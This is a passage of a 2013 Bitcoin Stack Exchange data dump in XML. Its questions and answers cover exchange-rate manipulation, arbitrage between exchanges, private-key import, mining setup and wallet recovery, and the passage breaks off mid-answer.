  <row Id="12649" PostTypeId="1" CreationDate="2013-08-14T15:17:07.677" Score="2" ViewCount="573" Body="&lt;p&gt;Would it be possible to manipulate the exchange rate of Bitcoin, if a single entity controlled the majority of all available currency? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Currency_intervention&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Currency_intervention&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.nber.org/papers/w14600&quot; rel=&quot;nofollow&quot;&gt;http://www.nber.org/papers/w14600&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://ask.metafilter.com/38377/does-51-sharehold-mean-control&quot; rel=&quot;nofollow&quot;&gt;http://ask.metafilter.com/38377/does-51-sharehold-mean-control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5731" LastEditorUserId="5406" LastEditDate="2015-06-17T16:05:19.913" LastActivityDate="2015-06-17T16:05:19.913" Title="What if someone owns 51% of all bitcoins?" Tags="|exchange-rate|money-supply|price-discovery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12650" PostTypeId="2" ParentId="12626" CreationDate="2013-08-14T15:30:58.420" Score="1" Body="&lt;p&gt;Both the GeForce and the Intel HD 4000 should be OpenCL capable and possible to mine on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem may be crippled drivers. I know HP and Dell make their &quot;own&quot; AMD drivers, meaning they take AMDs drivers and remove OpenCL support. Proper drivers from amd.com often refuse to install on those laptops. That's HP and Dell &quot;helping you&quot; by breaking your computer. Maybe Lenovo does the same with Nvidia drivers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try to install the latest drivers from nvidia.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Intel HD 4000 you could try getting drivers from &lt;a href=&quot;http://www.intel.com/p/en_US/support/detect/graphics&quot; rel=&quot;nofollow&quot;&gt;http://www.intel.com/p/en_US/support/detect/graphics&lt;/a&gt; or even installing their OpenCL SDK from &lt;a href=&quot;http://software.intel.com/en-us/vcsource/tools/opencl-sdk&quot; rel=&quot;nofollow&quot;&gt;http://software.intel.com/en-us/vcsource/tools/opencl-sdk&lt;/a&gt; although I think that should not be necessary.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2016-01-10T22:23:48.377" LastActivityDate="2016-01-10T22:23:48.377" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12651" PostTypeId="2" ParentId="12649" CreationDate="2013-08-14T15:57:19.347" Score="3" Body="&lt;p&gt;Well, everyone can manipulate the exchange value of a currency by trading large volumes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having 51% in particular does not really change that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, for lowering the price, he will have to sell a lot, probably losing his 51% position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, you can't manipulate the price just by having &gt; 51% of the bitcoins, but by trading very large volumes. Someone with very much fiat currency can also manipulate the price by buying large volumes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see howmuch you will have to sell (buy) to make the price go down (up) a certain amount can be seen in the &quot;market depth&quot; of the exchange. For Bitstamp f.e. the market depth can be found &lt;a href=&quot;http://bitcoinity.org/markets/bitstamp/USD&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;The steeper the market depth curve, the harder it is to move the price in that direction, so currently (see picture below) it is easier to make the price drop by selling bitcoins than it is to raise the price by buying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jewfp.png&quot; alt=&quot;Bitstamp market depth&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-08-14T15:57:19.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12652" PostTypeId="2" ParentId="12575" CreationDate="2013-08-14T16:06:02.877" Score="1" Body="&lt;p&gt;&lt;strong&gt;OUTDATED TOO!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most popular at this time is indeed btct.co. There are the ones I know of existing.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC Trading Corp. - &lt;a href=&quot;https://btct.co&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://btct.co&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;BitFunder - &lt;a href=&quot;https://bitfunder.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitfunder.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Havelock Investments - &lt;a href=&quot;https://havelockinvestments.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://havelockinvestments.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;MPEx - &lt;a href=&quot;http://mpex.co&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mpex.co&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="43018" LastEditDate="2016-11-08T17:44:46.217" LastActivityDate="2016-11-08T17:44:46.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12653" PostTypeId="2" ParentId="3272" CreationDate="2013-08-14T16:16:01.650" Score="0" Body="&lt;p&gt;bitparking is not recommended as they don't know what the word BACKUP is and is holding people coin now because their HD crashed and have not fixed the issue.  I highly recommend you stay away from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are so many other alt coin exchanges out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cryptsy.com/&quot; rel=&quot;nofollow&quot;&gt;http://cryptsy.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6358" LastActivityDate="2013-08-14T16:16:01.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12654" PostTypeId="2" ParentId="7905" CreationDate="2013-08-14T17:04:20.923" Score="0" Body="&lt;p&gt;I think this is a great question and contrary to many of these responses it is entirely feasible that you may need to explain these funds to either a regulatory body or law enforcement. Unfortunately, gov'ts tend to fear what they don't understand and that in turn means they will often act in ways they normally wouldn't in a more 'normal' situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work in the industry in compliance it simply isn't true that the burden of proof is on the gov't. In the US if a financial institution reports on you AND if that reporting triggers action you very well may need to explain where these funds came from. And if you can't there may be some issues that go along with that. And folks must understand when it comes to anti money laundering and anti terrorism finance. Many governments are on the same page and their laws/rules mirror each other very closely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the OP- If you are getting the funds legally your best tool will be record keeping. Each transaction should be noted, with a description and if possible show a purpose i.e. January 26th 2013 market price of btc gained/lost X percent and my previous investment of XXX is now worth XXX. And of course you should have some register of how you came about those funds initially. As in Sept 3rd 2012 used $XXXX grandma gave me for my B'day to but X amount of bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way anyone asking can see a clear chain of your transaction history. If you are asking how to launder funds it wouldn't be proper for me to answer that or to tell you the best methods of laundering. &lt;/p&gt;&#xA;" OwnerUserId="6188" LastActivityDate="2013-08-14T17:04:20.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12658" PostTypeId="2" ParentId="1449" CreationDate="2013-08-15T00:37:26.083" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo apt-get install libdb5.3++-dev&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest stable package, I used this on the new Bitcoin-Qt 8.3 patch from GIT and it compiled flawlessly, for any files that had that as an include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using gcc / g++ version 4.8 and you were looking for libdb4.8++-dev, there is a reason why you couldn't find an installation candidate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't confuse the libdb5.3++-dev package with the version of the gcc / g++ compiler and linker, they're not part of the gcc / g++ but an add-on development library regardless of what version of the compiler you use.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-08-15T00:37:26.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12660" PostTypeId="1" CreationDate="2013-08-15T02:41:30.093" Score="0" ViewCount="158" Body="&lt;p&gt;As it stands now, a miner (or mining pool) can discriminate any transaction for any reason if they are running a custom version of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose an evil and powerful mining pool decided to hash blocks, but not include any transactions even if a fee was included.  This would slow down the rate a block would be included in the chain.. effectively causing a DOS against certain transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is intended behavior to encourage transactions to include fees (or soon will be the behavior).  But suppose a pool operator (or powerful mining consortium) decide that they want to kill off Bitcoin and not include any transactions ... at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What technical solutions are there to require blocks to have transactions?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Challenge&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;We don't want the attacker to only include transactions the evil mining pool themselves create, but also transactions that others create as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't want to encourage too many low-fee transactions in this model, thus de-incentivising mining activity &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any solution that addresses these goals in a fair and balanced way?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2015-01-07T05:09:36.553" LastActivityDate="2015-01-07T05:09:36.553" Title="Techniques or proposais to require transactions to be included in a block?" Tags="|transactions|transaction-fees|block|weaknesses|risk-mitigation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12661" PostTypeId="2" ParentId="12660" CreationDate="2013-08-15T03:13:03.420" Score="0" Body="&lt;p&gt;I disagree with your premise &quot;This would slow down the rate a block would be included in the chain&quot;.  Every other miner or pool has just as much a shot at discovering a block as the evil one.  Unless the evil one is so powerful that he is singlehandedly effecting the difficulty in a signficant way, his blank blocks will not prevent other miners from discovering normal blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your question is simply a restatement of the &quot;51%&quot; problem.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-08-15T03:13:03.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12663" PostTypeId="1" AcceptedAnswerId="12720" CreationDate="2013-08-15T04:58:36.360" Score="0" ViewCount="1965" Body="&lt;p&gt;Will listtransactions list all transactions from blockchain, or only list transactions involved with me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;, it's only saying that it will return recent transactions from &quot;all accounts&quot;. What does &quot;all accounts&quot; mean? does it mean all MY accounts? or it will include accounts of other people?&lt;/p&gt;&#xA;" OwnerUserId="6124" LastActivityDate="2013-08-18T03:02:32.990" Title="listtransactions will list transactions only involved with me?" Tags="|transactions|bitcoind|api|bitcoin-core-accounts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12664" PostTypeId="2" ParentId="12663" CreationDate="2013-08-15T07:34:05.283" Score="0" Body="&lt;p&gt;The wallet only trancks transactions involving your wallet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-08-15T07:34:05.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12666" PostTypeId="2" ParentId="11716" CreationDate="2013-08-15T10:11:48.633" Score="0" Body="&lt;p&gt;The most popular and trusted alt coin exchange would be btc-e they accept all the 'major' alt currencies &lt;/p&gt;&#xA;" OwnerUserId="6289" LastActivityDate="2013-08-15T10:11:48.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12667" PostTypeId="2" ParentId="12646" CreationDate="2013-08-15T10:16:17.310" Score="1" Body="&lt;p&gt;It certainly doesn't mean the end of Bitcoin it just means the the authorities are taking it seriously and making an attempt to understand how the currency works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might mean the end of money laundering and evasive techniques to disguise where your money is coming from as the feds will be pushing to regulate it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont think it's a bad thing and I also dont think it should be a surprise to anyone, if you millions of dollars of unregulated currency floating about, of cause it's going to be regulated at some point&lt;/p&gt;&#xA;" OwnerUserId="6289" LastActivityDate="2013-08-15T10:16:17.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12668" PostTypeId="1" AcceptedAnswerId="12677" CreationDate="2013-08-15T11:53:50.380" Score="4" ViewCount="615" Body="&lt;p&gt;According the &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys&quot; rel=&quot;nofollow&quot;&gt;the Bitcoin Wiki&lt;/a&gt;, when importing a private key:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoind will rescan the entire&#xA;  block data &lt;strong&gt;to ensure this key has not been used before&lt;/strong&gt;.&#xA;  This process will take from one to two minutes,&#xA;  depending on your CPU performance. DO NOT abort it before finishing!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is this scanning necessary?  Wouldn't this prevent me from changing from one bitcoin client to another, because that would involve importing (used) private keys from the old client into the new?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-08-15T17:36:06.077" Title="Why can't I import a used private key?" Tags="|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12669" PostTypeId="1" CreationDate="2013-08-15T13:54:41.933" Score="-2" ViewCount="189" Body="&lt;p&gt;I think that the answer to this question is yes, unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had an online bitcoin wallet and I still know my bitcoin address, but I can't remember where it was hosted. Or perhaps it is shut down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to recover this, or to at least work out the site where the address was registered?&lt;/p&gt;&#xA;" OwnerUserId="6368" LastEditorUserId="11361" LastEditDate="2013-12-29T23:28:28.693" LastActivityDate="2013-12-29T23:28:28.693" Title="Are my coins lost?" Tags="|e-wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12670" PostTypeId="1" AcceptedAnswerId="12671" CreationDate="2013-08-15T14:25:44.413" Score="93" ViewCount="189489" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinity.org&quot;&gt;Bitcoinity.org&lt;/a&gt; shows that for the past 30 days, bitstamp's price is &lt;a href=&quot;http://bitcoinity.org/markets/bitstamp/USD&quot;&gt;high at 101.00, low at 77.00, and current price is 98.04&lt;/a&gt;. On contrast, mtgox's price for the past 30 days is &lt;a href=&quot;http://bitcoinity.org/markets/mtgox/USD&quot;&gt;high at 115.00, low at 86.20, and current price is 110.50&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, someone or &lt;em&gt;anyone&lt;/em&gt; can just buy from bitstamp and sell to mtgox to make profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's stopping people from doing so? What's the catch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can't be that people aren't aware that they could do it right? &lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="12032" LastEditDate="2014-01-14T21:21:17.797" LastActivityDate="2017-12-07T23:14:26.133" Title="Why don't people buy at one exchange and sell at another?" Tags="|exchanges|mtgox|trading|bitstamp|arbitrage|" AnswerCount="9" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12671" PostTypeId="2" ParentId="12670" CreationDate="2013-08-15T14:48:55.503" Score="77" Body="&lt;p&gt;Many people already do this with bitcoin. In finance, this is called arbitrage trading, or simply arbitrage, sometimes even abbreviated arb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for the price differences are fees for transferring between the bitcoin exchanges (you have to transfer both, bitcoins and fiat currency for a complete cycle) and fees for trading bitcoins against fiat currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the arbitrage traders, who make profits as long as the price difference is big enough, the prices on different exchanges quickly adjust to be right at the border between where the fees eat up the earning and where you make profits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an excellent page, &lt;a href=&quot;http://bitcoin-analytics.com&quot;&gt;http://bitcoin-analytics.com&lt;/a&gt; , which can tell you where there currently are arbitrage oppurtunities. Simply go to the website and click on &quot;Arbitrage&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6021" LastEditorUserId="6021" LastEditDate="2013-08-15T15:49:38.583" LastActivityDate="2013-08-15T15:49:38.583" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12672" PostTypeId="2" ParentId="12669" CreationDate="2013-08-15T16:00:14.000" Score="2" Body="&lt;p&gt;Well there's only a finite number, unless you were using some crazy hidden tor service...  Do you know if this is a proper wallet or actually a store account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category:EWallets&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Category:EWallets&lt;/a&gt;&#xA;&lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category:HybridEWallets&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Category:HybridEWallets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check browser history, google search history if it's enabled, check for backup files in dropbox or google drive.  Look in your saved password list in your browser.  Try some undelete tools to look through already-deleted browser history.  Just think like what the FBI would do if they needed to find something!  &lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="11361" LastEditDate="2013-12-29T22:02:12.537" LastActivityDate="2013-12-29T22:02:12.537" CommentCount="0" CommunityOwnedDate="2013-08-15T16:00:14.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="12674" PostTypeId="1" AcceptedAnswerId="12683" CreationDate="2013-08-15T16:35:17.810" Score="0" ViewCount="4716" Body="&lt;p&gt;So the question is can i start mining(solo)/using my wallet for transactions or whatever when my wallet is not sync'd? I've tried to mine solo but it doesn't work =(.&lt;/p&gt;&#xA;" OwnerUserId="6371" LastEditorUserId="5406" LastEditDate="2016-03-11T15:02:23.707" LastActivityDate="2016-03-11T15:02:23.707" Title="Solo mining before wallet got sync'd" Tags="|wallet|synchronization|solo-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12675" PostTypeId="2" ParentId="12670" CreationDate="2013-08-15T16:58:32.977" Score="1" Body="&lt;p&gt;there are many similar question on Bitcoin.SE (search for &quot;arbitrage&quot; to read more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to resume what I understood until today on this topic (I'm quite interested into it, mee too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is room to play some arbitrage buying and selling in different exchanges market, but the &lt;em&gt;real&lt;/em&gt; problem is the speed of the transactions and keeping your dollars into all you accounts.&#xA;You need to keep some dollars and some bitcoins in every market you choose to use (mtgox and few others) and buy/sell keeping an eye on the different prices. The problem is when you want to trasfer some bitcoin froma a market to another (it takes time! and some fees) and when you want transfert dollars in/out a market (it takes fees!!). You should check the transfert fees when you move your dollars and count if it is still valuable... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;see also this question and its answers: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/569/how-can-one-find-how-much-room-for-arbitrage-is-there-in-the-bitcoin-market/573#573&quot;&gt;How can one find how much &amp;quot;room for arbitrage&amp;quot; is there in the Bitcoin market?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6226" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-08-16T09:32:16.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12676" PostTypeId="2" ParentId="639" CreationDate="2013-08-15T17:35:18.310" Score="0" Body="&lt;p&gt;Maybe you could use your ILS to buy in-game currencies like Linden Dollars or WoW Gold which can then exchange freely with BTC&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditDate="2013-08-15T18:47:23.650" LastActivityDate="2013-08-15T18:47:23.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12677" PostTypeId="2" ParentId="12668" CreationDate="2013-08-15T17:36:06.077" Score="3" Body="&lt;p&gt;It is usually longer than 2 minutes...&#xA;&lt;br&gt;Please look at the blockchain as a database storing addresses and balances.&lt;br&gt;&#xA;If you have an address (privkey) from the very beginning, you search in the blockchain for records about your address.&lt;br&gt;&#xA;But if you import address, which was unknown to this client, you have to go through blockchain once again, in order to search for records corresponding to this address. Elsewhere, how could you know balance of this address, if you didn't look at it before importing?&lt;br&gt;&#xA;In my opinion, it doesn't prevent you from importing anything. &lt;br&gt;If you want to skip rescan, use &lt;code&gt;bitcoind importprivkey l12n3lj2nl2n3213lkj4n3lk4n false&lt;/code&gt;. You can import a lot of privkeys this way, and rescan at the end with the last address or via start switch &lt;code&gt;bitcoind -rescan&lt;/code&gt;.&lt;br&gt;&#xA;Please note that rescaning is not necessary when importing keys with 0 BTC.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-15T17:36:06.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12678" PostTypeId="2" ParentId="12669" CreationDate="2013-08-15T17:46:25.977" Score="1" Body="&lt;p&gt;Look for your address on blockchain.info. There is a list of outgoing transactions from this address. Sometimes you can find the IP address, or even the name of the sender, e.g. SatoshiDice, Slush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example link: &lt;a href=&quot;http://blockchain.info/pl/address/1CRACKafkXsQzUYmu2fUM3j9c2y4yDhvfh&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/pl/address/1CRACKafkXsQzUYmu2fUM3j9c2y4yDhvfh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6128" LastEditorUserId="11361" LastEditDate="2013-12-29T23:28:13.070" LastActivityDate="2013-12-29T23:28:13.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12679" PostTypeId="1" CreationDate="2013-08-15T17:57:14.580" Score="0" ViewCount="156" Body="&lt;p&gt;I have old (pre-random-number-bug) addresses in my android bitcoin wallet app, with 0 balance. After patch I am using a new address (with balance) and still keeping my old address in my wallet. Should I delete my old addresses from my android app?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say some one cracked my old key, and imported it into his wallet. In this case, is it anyway possible for him to do a sweep transaction? I remember, something like this happened with blockchain.info / mywallet app but I am not very sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Sweepprivkey_proposal&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Sweepprivkey_proposal&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-08-17T02:50:41.490" Title="Sweep transaction issue" Tags="|transactions|security|private-key|hacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12680" PostTypeId="1" CreationDate="2013-08-15T18:13:56.587" Score="2" ViewCount="199" Body="&lt;p&gt;Is there a way to identify transactions that occur on exchanges (such as Mt. Gox) in the blockchain? &lt;/p&gt;&#xA;" OwnerUserId="6372" LastActivityDate="2013-08-15T22:52:40.393" Title="Is there a way to identify exchanges in the blockchain?" Tags="|transactions|blockchain|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12681" PostTypeId="2" ParentId="12236" CreationDate="2013-08-15T19:18:52.813" Score="0" Body="&lt;p&gt;When you run the miner, you should specify the port 8332 (instead of 3333 or 8333 as in the above posts).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd -a scrypt -r 1 -s 6 -o http://127.0.0.1:3333 -O USERNAME.1:PASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd -a scrypt -r 1 -s 6 -o http://127.0.0.1:8332 -O USERNAME.1:PASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using 3333, your proxy believes that your miner asks work using the stratum protocol but your miner asks for it using the getwork protocol ==&gt; it needs to speak to the proxy on the 8332 port.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;minerd -a scrypt -o 127.0.0.1:8333 -O nybbler905.1:x&lt;br /&gt;&#xA;  minerd -a scrypt -o 127.0.0.1:8332 -O nybbler905.1:x&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That was just a typo as the comment is correct:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Port 8332 ( local ) is...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know if you have to put http:// or not&lt;/p&gt;&#xA;" OwnerUserId="6373" LastEditorUserId="2306" LastEditDate="2013-08-16T20:15:06.550" LastActivityDate="2013-08-16T20:15:06.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12682" PostTypeId="2" ParentId="12680" CreationDate="2013-08-15T19:23:19.173" Score="0" Body="&lt;p&gt;You can likely get a lot of trade information directly from the &lt;a href=&quot;https://bitbucket.org/nitrous/mtgox-api/overview&quot; rel=&quot;nofollow&quot;&gt;MTGox API&lt;/a&gt;, and match results up with the blockchain if needed.   &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-08-15T19:23:19.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12683" PostTypeId="2" ParentId="12674" CreationDate="2013-08-15T19:45:53.277" Score="2" Body="&lt;p&gt;You can't solo mine if you're not synched. In order to mine, you need to know what the longest chain is, and you can't do that until you're synched.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-08-15T19:45:53.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12684" PostTypeId="1" AcceptedAnswerId="12685" CreationDate="2013-08-15T21:01:57.530" Score="0" ViewCount="4148" Body="&lt;p&gt;I'm trying to Mine with ASICMiner's Block Erupters on Ubuntu 13.04. I've installed everything (bitcoin-qt, cgminer, bfgminer, I've got the block erupters in usb hubs hooked up to my ubuntu box).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But neither CGMiner, nor BFGMiner detect the block erupters...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to /dev I see 18 ttyUSB[0-17] devices, I guess that's probably them, but I don't really know how to tell if my system can even see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the hubs they're plugged into hooked up to another usb hub so that you've got the first hub coming out of one usb port from the box and the ANKER hubs that hold the block erupters are both hooked up to that. I don't know if that's messing it up.&lt;/p&gt;&#xA;" OwnerUserId="4580" LastEditorUserId="5406" LastEditDate="2016-04-28T13:23:20.840" LastActivityDate="2016-04-28T13:23:20.840" Title="Trying to use Block Erupters with Ubuntu 13.04" Tags="|miner-configuration|cgminer|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12685" PostTypeId="2" ParentId="12684" CreationDate="2013-08-15T22:38:29.930" Score="3" Body="&lt;p&gt;to determine if they're being detected properly, use the 'lsusb' command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what they should look like if your system is detecting them properly (I run mine in a VM running Ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo lsusb&#xA;[sudo] password for majorminer:&#xA;Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse&#xA;Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub&#xA;Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub&#xA;Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub&#xA;Bus 002 Device 004: ID 0e0f:0008 VMware, Inc.&#xA;Bus 002 Device 005: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;Bus 002 Device 006: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;Bus 002 Device 007: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;Bus 002 Device 008: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;Bus 002 Device 009: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure they're detected by the miner by using &lt;code&gt;sudo bfgminer -S all 